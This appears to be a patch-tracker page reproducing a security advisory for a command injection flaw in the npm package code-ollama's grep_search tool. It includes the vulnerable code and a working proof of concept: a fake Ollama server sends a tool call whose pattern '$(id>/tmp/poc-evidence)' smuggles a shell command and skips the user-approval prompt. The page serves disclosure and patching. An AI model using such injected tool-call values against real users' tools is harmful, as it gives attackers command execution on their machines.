Patch Forecast
Amber warning
Patch this week.

GHSA-456v-xq2p-r4cj

code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)

Risk score
62/100
CVSS
7.8 v3.1
Published
28 Sep 2026

Open in the live forecast Today's forecast

What to know

What it is
The grep_search tool in code-ollama constructs a shell command string by interpolating attacker-controlled pattern and path arguments, then executes it via child_process.exec(). The sanitization only escapes backslashes and double-quote characters, leaving $() command substitution and backtick expansion fully intact. …
Affected
code-ollama (npm) <= 0.36.0
Fix
Upgrade code-ollama to 0.36.1 or later.
Exploitation
Public proof of concept

Why it is Amber

  • CVSS 7.8 high
  • Public exploit or proof of concept referenced
  • On your watchlist: ollama, npm

Affected packages

PackageEcosystemVulnerableFixed in
code-ollamanpm<= 0.36.00.36.1

References

Original description

## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78) ### Summary The `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**. ### Details **Vulnerable sink — `src/utils/tools/filesystem/grep.ts:58-66`** ```ts const escapedPattern = searchPattern .replace(/\\/g, '\\\\') .replace(/"/g, '\\"'); const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"'); const { stdout } = await execShell( `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`, ); ``` Only `\` and `"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` — the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` — causing `/bin/sh` to interpret the entire string and expand any embedded command substitution. **Full data-flow path (source → sink)** | Step | Location | Action | |------|----------|--------| | 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI | | 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` | | 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it | | 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` | | 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\` and `"` are escaped (**root cause**) | | 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) | | 7 | `src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` | **Approval-bypass amplifier** `grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation. ### PoC **Prerequisites** - `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below). - `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it). - Python 3 available to run the fake Ollama server. **Step 1 — Build the self-contained Docker image (recommended)** ```sh # From the report root directory (where vuln-001/ lives) docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . docker run --rm vuln001-code-ollama ``` The container automatically runs `poc.py` as `CMD`. Successful exploitation prints: ``` [+] EXPLOITATION CONFIRMED [+] Marker file : /tmp/poc-evidence [+] Contents : 'uid=0(root) gid=0(root) groups=0(root)' ``` **Step 2 — Manual reproduction (bare-metal)** ```sh # Terminal 1 — start the malicious Ollama server cat > /tmp/fake-ollama.py <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json, sys, threading _req = 0 _lock = threading.Lock() class H(BaseHTTPRequestHandler): def log_message(self, *a): pass def do_GET(self): self.send_response(200); self.end_headers() self.wfile.write(b"Ollama is running") def do_POST(self): global _req l = int(self.headers.get("Content-Length", 0)) self.rfile.read(l) with _lock: _req += 1; n = _req self.send_response(200) self.send_header("Content-Type", "application/x-ndjson") self.end_headers() if n == 1: chunk = {"model":"fake","message":{"role":"assistant","content":"", "tool_calls":[{"function":{"name":"grep_search", "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]}, "done":True,"done_reason":"stop"} else: chunk = {"model":"fake","message":{"role":"assistant","content":"Done."}, "done":True,"done_reason":"stop"} self.wfile.write((json.dumps(chunk)+"\n").encode()) self.wfile.flush() HTTPServer(("127.0.0.1", 11434), H).serve_forever() PY python3 /tmp/fake-ollama.py & # Terminal 2 — run code-ollama against the fake server rm -f /tmp/poc-evidence OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code" cat /tmp/poc-evidence # expected: uid=... gid=... groups=... ``` **Explanation of the payload** The `pattern` argument value `$(id>/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\` and `"` are stripped. When the resulting shell string ``` rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp" ``` is executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts. **Remediation** Replace the shell-string construction with an argument-vector call to avoid the shell entirely: ```diff -import { execShell } from '../shell'; +import { execFile } from '../../node'; + +const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 }; - const escapedPattern = searchPattern -

Last activity 28 Sep 2026. Patch Forecast updates every hour.